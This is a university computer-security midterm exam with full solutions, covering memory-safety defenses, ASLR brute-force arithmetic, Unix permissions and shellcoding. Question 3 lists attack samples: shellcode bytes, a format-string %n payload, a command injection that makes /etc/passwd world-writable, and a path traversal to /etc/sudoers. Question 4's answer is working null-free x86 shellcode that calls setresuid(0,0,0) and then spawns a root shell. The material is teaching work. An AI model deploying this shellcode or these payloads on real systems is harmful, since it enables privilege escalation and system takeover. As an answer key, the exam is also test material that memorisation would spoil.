Computer Science 5271
Fall 2017
Midterm exam (solutions)
October 16th, 2017
Time Limit: 75 minutes, 1:00pm-2:15pm

- This exam contains 12 pages (including this cover page) and 4 questions. Once we tell you to start, please check that no pages are missing.
- Before starting the exam, you can fill out your name and other information of this page, but don't open the exam until you are directed to start. Don't put any of your answers on this page.
- You may use any textbooks, notes, or printouts you wish during the exam, but you may not use any electronic devices: no calculators, smart phones, laptops, etc.
- You may ask clarifying questions of the instructor or TA, but no communication with other students is allowed during the exam.
- Please read all questions carefully before answering them. Remember that we can only grade what you write on the exam, so it's in your interest to show your work and explain your thinking.
- By signing below you certify that you agree to follow the rules of the exam, and that the answers on this exam are your own work only.

The exam will end promptly at 2:15pm. Good luck!

Your name (print): _____

Your UMN email/X.500: _____`@umn.edu`

Number of rows ahead of you: _____ Number of seats to your left: _____

Sign and date: _____

Question	Points	Score
1	30	
2	24	
3	24	
4	22	
Total:	100	

1. (30 points) Matching definitions and concepts. Fill in each blank with the letter of the corresponding answer. Each answer is used exactly once.

   (a) __**Q**__ Program for changing terminal settings

   (b) __**L**__ Property that should hold whenever a program point executes

   (c) __**H**__ System call to run a new program

   (d) __**N**__ Reuse of code segments each ending in `0xc3`

   (e) __**P**__ Isolation mechanism based on instruction rewriting

   (f) __**K**__ VM implemented underneath a normal kernel

   (g) __**B**__ Choosing random locations for memory regions

   (h) __**M**__ Possible when the attacker already has an account

   (i) __**F**__ Pointers to code called when a program exits

   (j) __**I**__ Pointers used to implement shared library calls

   (k) __**T**__ A common kind of race condition vulnerability

   (l) __**J**__ Used when attacker can't control a pointer value

   (m) __**S**__ When set, CPU allows all instructions to execute

   (n) __**E**__ Attack against availability

   (o) __**C**__ Requires that indirect jumps go only to intended targets

   (p) __**A**__ Damage caused by attacks in one year

   (q) __**O**__ Program that runs with the binary owner's privilege

   (r) __**R**__ Another name for UID 0

   (s) __**G**__ False positive and false negative rate when they are equal

   (t) __**D**__ Used to connect networks of different classifications

A. ALE B. ASLR C. CFI D. data diode E. DoS F. `.dtors` G. EER H. `execve` I. GOT J. heap spray K. hypervisor L. invariant M. local exploit N. ROP O. setuid P. SFI Q. `stty` R. superuser S. supervisor bit T. TOCTTOU

2. (24 points) Multiple choice. Each question has only one correct answer: circle its letter.

   (a) Suppose we are designing a MLS system with four levels (unclassified, confidential, secret, and top secret), and five specialized compartments. How many possible classifications are there?

   A. $4 \cdot 5 = 20$
   B. $2^4 + 2^5 = 48$
   C. $5 \cdot 2^4 = 80$
   D. $4 \cdot 2^5 = 128$
   E. $2^4 \cdot 2^5 = 512$

   There is one classification for every combination of one level (factor of 4) and one subset of compartments (factor of 2^5).

   (b) In a 32-bit Linux/x86 program, which of these objects would have the highest address (numerically largest when considered as unsigned)?

   A. An environment variable
   B. A local `float` variable in a function called from `main`
   C. A global array
   D. A local array in `main`
   E. The function `printf`

   The global array is in the main program's data area, and `printf` *is in the code area of either the main program or a shared library, so both have relatively small addresses. The environment variable and the two local variables are all on the stack, which is the highest-addressed user-space region. The stack grows downward, so things put on the stack first have higher addresses: the environment variable highest, then the variable in* `main`*, then the variable in a function called from* `main`*.*

   (c) Depending on how they are used, all of these functions could cause a buffer overflow that replaces a return address, *except*:

   A. `strcmp`
   B. `strlcpy`
   C. `read`
   D. `strcat`
   E. `gets`

   B-E all write to buffers, and so could cause overflows that overwrite a return address if the buffer is on the stack. They differ in how much the amount of the write is controlled by the calling function versus other factors, which affects how likely they are to have a bug that is undetected in normal testing but triggers a vulnerability. (`gets` *is worst, followed by* `strcat`*, then* `strlcpy`*, then* `read`*). In contrast,* `strcmp` *accesses strings that are supposed to be null-terminated, and so could overflow a buffer if the null termination is incorrect, but because it only reads from the buffers, it couldn't replace any contents.*

(d) Consider an attack that uses a stack buffer overflow to replace a return address with the address of shellcode in an environment variable. Which of the following defenses could block the attack?

A. W $\oplus$ X

B. a shadow stack

C. CFI

D. Control-Flow Guard

E. All of the above

CFI, CFG, or a shadow stack would all block the return with an overwritten return address, since the address of the shellcode in an environment variable would not be a legal return address or match the shadow stack. W $\oplus$ X would block the execution of the shellcode in an environment variable, because the stack is not executable.

(e) Consider an attack that uses a stack buffer overflow to replace a local `int` variable on the stack, to cause the program to skip a permissions check. Which of the following defenses could block the attack?

A. Code-pointer Integrity

B. ASLR

C. W $\oplus$ X

D. CFI

E. None of the above

This attack is an example of a non-control data overwrite. CPI, CFI, and W $\oplus$ X would not help because they focus on presenting unauthorized code from running, but this attack would only involve legitimate code and execution paths. Also ASLR would not help because it does not change the relative location between a stack buffer and another stack variable.

(f) Suppose that `a` is a global variable that is an array of characters. Which of the following relationships always holds?

A. `strlen(a) < sizeof(a)`

B. `strlen(a) <= sizeof(a)`

C. `strlen(a) == sizeof(a)`

D. `strlen(a) != sizeof(a)`

E. None of the above

Because `a` *is an array (as opposed to a pointer) and its elements are characters,* `sizeof(a)` *will give the total number of characters it holds. By comparison* `strlen` *will start counting non-null characters from the beginning of the array, stopping at (and not counting) a null. If the array holds a properly null-terminated string, then one of the characters in the array will be a null, and the* `strlen` *value will be strictly less than the* `sizeof`*. But there is no reason to assume that; for instance you could have a character array that just holds small non-zero integers. If the array does not contain a null,* `strlen` *will overflow it and keep going until it finds a null byte later in memory. This could cause the result of* `strlen` *to be greater than the* `sizeof`*, or equal, or it could crash.*

(g) 32-bit x86 systems have the following features:

1. Many legal addresses do not contain 0x00 bytes
2. 32-bit stores are allowed to unaligned addresses
3. Instructions are variable length and can start at any byte

Which of these features make format string vulnerabilities easier to exploit?

A. 1 and 2

B. 1 and 3

C. 2 and 3

D. 1, 2, and 3

E. None of these features help

All three of these features are true. Number 1 makes format string attacks easier because you can have the address used in an attack in a null-terminated string. Number 2 makes format string attacks easier because you can create an arbitrary 32-bit value by overwriting one byte at a time with small character counts. Number 3 has other effects on security, like leading to more ROP gadgets, but it is not related to format string vulnerabilities.

(h) The ASLR system on a 32-bit system chooses the stack location uniformly at random in the high half of the address space (`0x80000000` to `0xfffff000`), with the limitation that the location is always a multiple of 2^{12} (`0x1000`, 4096). If you carry out a brute-force attack against this defense where the vulnerable program is a server that restarts 10 times per second, what's the maximum time before your attack is successful?

A. 2^{32} s $\approx 4.3 \cdot 10^9$ s $\approx$ 136 years
B. $(2^{32} - 2^{31} - 2^{12})/10$ s $\approx 2.1 \cdot 10^8$ s $\approx$ 6.8 years
C. $(2^{32} - 2^{31}) \cdot 10/2^{12}$ s $\approx 5.2 \cdot 10^6$ s $\approx$ 61 days
D. $2^{32-1-12}$ s $\approx 5.2 \cdot 10^5$ s $\approx$ 6.1 days
E. $(2^{32} - 2^{31})/(2^{12} \cdot 10)$ **s** $\approx 5.2 \cdot 10^4$ **s = 15 hours**

The total number of addresses in the high half is $2^{32} - 2^{31} = 2^{32}/2 = 2^{31}$*. Restricting to multiples of* 2^{12} *divides the effort by that same factor. Multiplying the number of queries by the rate of* $1/10$ *seconds per query gives the time in seconds.*

(i) Traditionally NOP sleds on x86 are made using the single byte no-op instruction 0x90, which is equivalent to `xchg %eax, %eax` (swapping `%eax` with itself). But you might consider making a NOP sled out of a longer instruction. Which of the following x86 instructions, if repeated many times, would make the best NOP sled?

A. `8d b6 00 00 00 00` (`lea 0x0(%esi),%esi`; add 0 to `%esi`)
B. `66 90` **(`xchg %ax, %ax`; swap `%ax` with itself)**
C. `b6 00` (`mov %0x0, %dh`; move 0 into `%dh`)
D. `00 00` (`add %al, (%eax)`; add `%al` to the location `%eax` points to)
E. `00 8d b6 00 00 00` (`add %cl, 0xb6(%ebp)`; add `%cl` to the location `0xb6` bytes beyond `%ebp`)

The key point for this question is that a NOP sled might be entered at any byte offset, so you have to consider the different instructions formed by starting at different positions. `66 90` *makes for a good NOP sled because each starting location gives a NOP:* `66 90` *leaves the 16-bit register* `%ax` *unchanged, while if you start at* `90` *you get the classic one-byte NOP. The longer instruction* `8d b6 00 00 00 00` *is also a NOP on its own, but if you start instead at the* `b6` *or one of the* `00` *bytes, you get the non-NOP instructions listed in the other answers.*

(j) Terri is the TA for 5271, and responsible for maintaining a directory on a Unix system containing the solutions for the hands-on assignments (this directory is fictional). There is a top-level directory named `solutions`, with subdirectories `ha1` and `ha2`. `ha1` in turn has subdirectories `week1` through `week5`, and the leaf directories contain text files with solutions. Based on Terri's default `umask` settings, the directories mostly have permissions `0750`, and the files mostly have permissions `0640`, owned by the `terri` user with group owner `CSEL-student`, a group containing all the students with accounts on the CSE Labs machines. Because 5271 students should not be able to read the solutions, Terri performs the command `chmod og-r solutions`, changing the permissions of the `solutions` directory to `0710`.

Only one of the following operations by 5271 students would be prevented by this change: which is it? (Recall that the `-d` option to `ls` causes it to print information about a directory instead of listing the directory's contents.)

A. `ls -ld solutions`

B. `ls solutions`

C. `ls -ld solutions/ha1`

D. `ls -l solutions/ha1`

E. `less solutions/ha1/week1/exploit.sh`

5271 students are members of `CSEL-student`*, so their permissions on the* `solutions` *directory have changed from* `r-x` *to* `--x`*. The* `r` *bit controls the ability to enumerate the contents of that directory, which is what* `ls solutions` *does.* `ls -ld solutions` *only needs to* `stat` *the directory, so it is not restricted by any of the permissions mentioned here. The other choices require the* `x` *permission to traverse* `solutions` *which is still present, and then they depend only on the permissions on lower-level files and directories that are already present. Without the* `r` *permissions, students would have to guess the names of sub-directories of* `solutions`*, but* `ha1` *is a natural guess given that the naming scheme of assignments is not a secret.*

(k) Terri would like to argue that a contributing factor to the security failure in the previous question was poor design of the Unix file permissions system. Which one of Saltzer and Schroeder's principles was arguably not observed in the Unix design, leading to this failure?

A. Psychological acceptability

B. Open design

C. Compromise recording

D. Least common mechanism

E. Complete mediation

Terri probably thought that removing a permission named "read" from a directory would prevent reading the directories and files contained within the directory. The fact that the Unix permissions system does not work in that seemingly natural way is a mismatch between Terri's intuitive mental model and the system design. The principle of psychological acceptability suggests that this kind of failure could be reduced if the permissions system behaved more like users like Terri expected.

(l) Which one of the following relationships is always true, when the variables are interpreted as 32-bit unsigned C values? (The ⇒ operator is logical implication.)

A. `(8*x == 0)` ⇒ `(x == 0)`

B. `x + 1 > 0`

C. `(x == -x)` ⇒ `(x == 0)`

D. `x + y - x = y`

E. `x + 5 >= x`

`x + 1 > 0` *and* `x + 5 >= x` *can fail if the addition overflows.* `0x40000000` *is an example of a non-zero number that becomes zero when you multiply it by 8, because the multiplication overflows. Negating an unsigned value seems weird, since there aren't negative unsigned values, but there are several equivalent ways of thinking about* `-x`*: (a) it computes the additive inverse, so that* `x + (-x) == 0` *(b) it performs the same bit operation as negating a signed value, (c) it overflows whenever the value to negate is non-zero, and (d) it computes the mathematical result* $2^{32} - x$*. Because of these properties,* `-0x80000000 = 0x80000000`*. On the other hand,* `x + y - x = y` *is always true:* $x+(y-x) = x+(y+(-x)) = x+((-x)+y) = (x+(-x))+y = 0+y = y$*. The definition of subtraction in terms of adding a negative, the associativity and commutativity of addition, and the fact that adding a value to its negation gives zero, all still work modulo* 2^{32}*.*

3. (24 points) Recognizing attack techniques. Each of the following sequences of bytes was recovered from the network traffic, logs, or memory of a Linux/x86 system under attack. Match each sequence of bytes (in which non-printable characters are represented by backslash escapes, as in C), with the attack technique it was likely used in. Each answer is used exactly once.

   (a) __**G**__ `\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90`

   (b) __**C**__ `\x80\xe8\xd6\xff\xff\xff//bin/sh\x9b\xd9`

   (c) __**H**__ `name="fred'; chmod 666 /etc/passwd; echo '"`

   (d) __**B**__ `There is a major center of economic activity`

   (e) __**F**__ `\x35\x90\x90\x90\x3c\x35\x90\x90\x90\x3c\x35`

   (f) __**D**__ `%08x%08x%08x%08x%42x%n%137x%n%246x%n%57x%n`

   (g) __**E**__ `\x01\x00\x00\x04`

   (h) __**A**__ `../../../../../../../../../../etc/sudoers`

   A. directory traversal
   B. English shellcode
   C. `execve` shellcode
   D. format string attack
   E. integer overflow
   F. JIT spray
   G. NOP sled
   H. shell script injection

4. (22 points) Shellcoding. Your coworker on a penetration testing team previously attacked a setuid-root Linux/x86 binary by using the following shellcode to run the shell `/bin/sh`:

```
31 c9           xor    %ecx, %ecx    # ecx = 0
51              push   %ecx          # \0\0\0\0
68 2f 2f 73 68  push   $0x68732f2f   # "//sh"
68 2f 62 69 6e  push   $0x6e69622f   # "/bin"
89 e3           mov    %esp, %ebx    # ebx = "/bin//sh\0\0\0\0"
51              push   %ecx
53              push   %ebx
89 e1           mov    %esp, %ecx    # ecx = {"/bin//sh", 0}
31 c0           xor    %eax, %eax
b0 0b           mov    $0xb, %al     # eax = 11 (execve)
31 d2           xor    %edx, %edx    # edx = 0
cd 80           int    $0x80         # execve("/bin/sh", ["/bin/sh"], 0)
```

However, to attack a new version of the system, you've realized you need to make some changes to your shellcode:

- In order to frustrate off-the-shelf shellcode, the sysadmin has removed the shell `/bin/sh`; instead you need to run a different shell, `/bin/dash`.
- The `/bin/dash` shell drops privileges if it can tell it is being run setuid, using code like the following:

  ```
  if (getuid() != geteuid())
      setuid(getuid());
  ```

  Therefore, before calling the shell, your shellcode needs to erase the evidence that the process was setuid by changing the real and saved UIDs to root. Looking at the man pages, you figure out you can use the `setresuid` system call to do this:

  ```
  SYNOPSIS
      int setresuid(int ruid, int euid, int suid);
  DESCRIPTION
      setresuid() sets the real user ID, the effective user ID, and the
      saved set-user-ID of the calling process.
  ```

  On Linux/x86, `setresuid` is system call number 208 (0xd0).
- Because of a strange check in the vulnerable program, you can no longer use the `xor` instruction. In fact, only a limited set of instructions (shown on a later page) will work.
- Because the shellcode needs to be passed in an environment variable, it cannot contain any 0x00 bytes.

On the brighter side, because this is a local attack, you can run a non-privileged shell command before the vulnerable program, if that helps.

Your job (on the next page) is to figure out the hex bytes of an appropriately updated shellcode.

The new shellcode can use the old one as a model, but a few things need to change:

- *To hide the fact that we were previously setuid, we need to change the real UID to 0 to match the effective UID which is already 0. While you're at it you can set the saved UID to 0 too, so the system call you need is* `setresuid(0, 0, 0)`*. To do this you need to put* `0xd0` *in* `%eax` *and zeros in all of* `%ebx`*,* `%ecx`*, and* `%edx`*, before the* `int $0x80` *instruction.*
- *With XOR missing, we need a different approach to making a register be zero. XORing a register with itself works because $x \oplus x = 0$, and since we have subtraction, we can take advantage of the similar fact that $x - x = 0$ by subtracting a register from itself.*
- *The new pathname* `/bin/dash` *is 9 characters before the null byte, so we can't fit in two 32-bit words the way the old code did it. One workaround is to use the shell command to make a symlink with a shorter name that points where we want it: for instance an unprivileged attacker can still create a symlink in* `/tmp`*, and it's convenient that* `/tmp` *and* `/bin` *have the same number of letters. If you want to make a longer string, it's convenient to extend it to 12 bytes so it's still a multiple of 4. I like putting the extra slashes in the middle 4 bytes, as in* `/bin////dash`*.*

One complete solution: (Optional) shell command: `ln -s /bin/dash /tmp/da`

```
29 c9           sub    %ecx,%ecx    # ecx = 0
29 c0           sub    %eax,%eax    # eax = 0
b0 d0           mov    $0xd0,%al    # eax = 0xd0
29 db           sub    %ebx,%ebx    # ebx = 0
29 d2           sub    %edx,%edx    # edx = 0
cd 80           int    $0x80        # setresuid(0, 0, 0)
51              push   %ecx         # \0\0\0\0
68 2f 2f 64 61  push   $0x61642f2f  # "//da"
68 2f 74 6d 70  push   $0x706d742f  # "/tmp"
89 e3           mov    %esp,%ebx    # ebx = "/tmp//da\0\0\0\0"
51              push   %ecx         # push 0
53              push   %ebx         # push "/tmp//da"
89 e1           mov    %esp,%ecx    # ecx = {"/tmp//da", 0}
29 c0           sub    %eax,%eax    # eax = 0 (conservative)
b0 0b           mov    $0xb,%al     # eax = 0xb
29 d2           sub    %edx,%edx    # edx = 0 (redundant)
cd 80           int    $0x80        # execve("/tmp/da", {"/tmp/da", 0}, 0)
```

This sets registers to 0 more often than is strictly necessary. It's a generally good idea to reset `%eax` *to 0 after the first system call, since it could be changed to a different value with the return value of the system call. However,* `setresuid` *happens to always return 0 when it succeeds, and if it fails the attack probably won't work anyway.*

Fill in the blanks with hex codes for bytes. You can use the space on the right to show assembly code or to comment on what the instructions are doing, which may be good for partial credit. But getting the right hex bytes is necessary and sufficient for full credit. Write one instruction, up to 5 bytes, per line. You don't need to use all the rows, and you can leave any unused rows blank. We've filled in three rows to get you started.

Allowed x86 instructions:

Hex bytes	assembly	comments
01 [regs]	`add %sreg, %dreg`	
09 [regs]	`or %sreg, %dreg`	
21 [regs]	`and %sreg, %dreg`	
29 [regs]	`sub %sreg, %dreg`	
~~31 [regs]~~	~~`xor %sreg, %dreg`~~	no longer allowed
50	`push %eax`	
51	`push %ecx`	
52	`push %edx`	
53	`push %ebx`	
68 [32bits]	`push $0x12345678`	note little-endian
89 [regs]	`mov %sreg, %dreg`	
b0 [byte]	`mov $0x42, %al`	`%al` is the low byte of `%eax`
cd 80	`int $0x80`	

In the AT&T syntax used here, the second operand is the destination. So `mov %eax, %ebx` is like `ebx = eax`, and `sub %eax, %ebx` is like `ebx = ebx - eax`.

Bytes specifying two registers ("[regs]" in table above). Row is the source register, column is the destination register:

	eax	ecx	edx	ebx	esp	ebp	esi	edi
eax	c0	c1	c2	c3	c4	c5	c6	c7
ecx	c8	c9	ca	cb	cc	cd	ce	cf
edx	d0	d1	d2	d3	d4	d5	d6	d7
ebx	d8	d9	da	db	dc	dd	de	df
esp	e0	e1	e2	e3	e4	e5	e6	e7
ebp	e8	e9	ea	eb	ec	ed	ee	ef
esi	f0	f1	f2	f3	f4	f5	f6	f7
edi	f8	f9	fa	fb	fc	fd	fe	ff

ASCII/hex conversion table:

20 SPC	30 0	40 @	50 P	60 ‘	70 p
21 !	31 1	41 A	51 Q	61 a	71 q
22 "	32 2	42 B	52 R	62 b	72 r
23 #	33 3	43 C	53 S	63 c	73 s
24 $	34 4	44 D	54 T	64 d	74 t
25 %	35 5	45 E	55 U	65 e	75 u
26 &	36 6	46 F	56 V	66 f	76 v
27 ’	37 7	47 G	57 W	67 g	77 w
28 (	38 8	48 H	58 X	68 h	78 x
29)	39 9	49 I	59 Y	69 i	79 y
2A *	3A :	4A J	5A Z	6A j	7A z
2B +	3B ;	4B K	5B [	6B k	7B {
2C ,	3C <	4C L	5C \	6C l	7C |
2D -	3D =	4D M	5D]	6D m	7D }
2E .	3E >	4E N	5E ^	6E n	7E ~
2F /	3F ?	4F O	5F _	6F o	

The Linux/x86 system call convention is that the system call number goes in `%eax`, the first argument is in `%ebx`, the second argument is in `%ecx`, and the third argument is in `%edx`.

Your shellcode should work correctly regardless of the initial values of registers, except that you may assume that `%esp` points to a memory area usable as a stack.

The arguments to `execve` are as follows:

```
int execve(char *filename, char **argv, char **envp);
```

`argv` is a list of string pointers to arguments, terminated by a null pointer. `envp` can be null.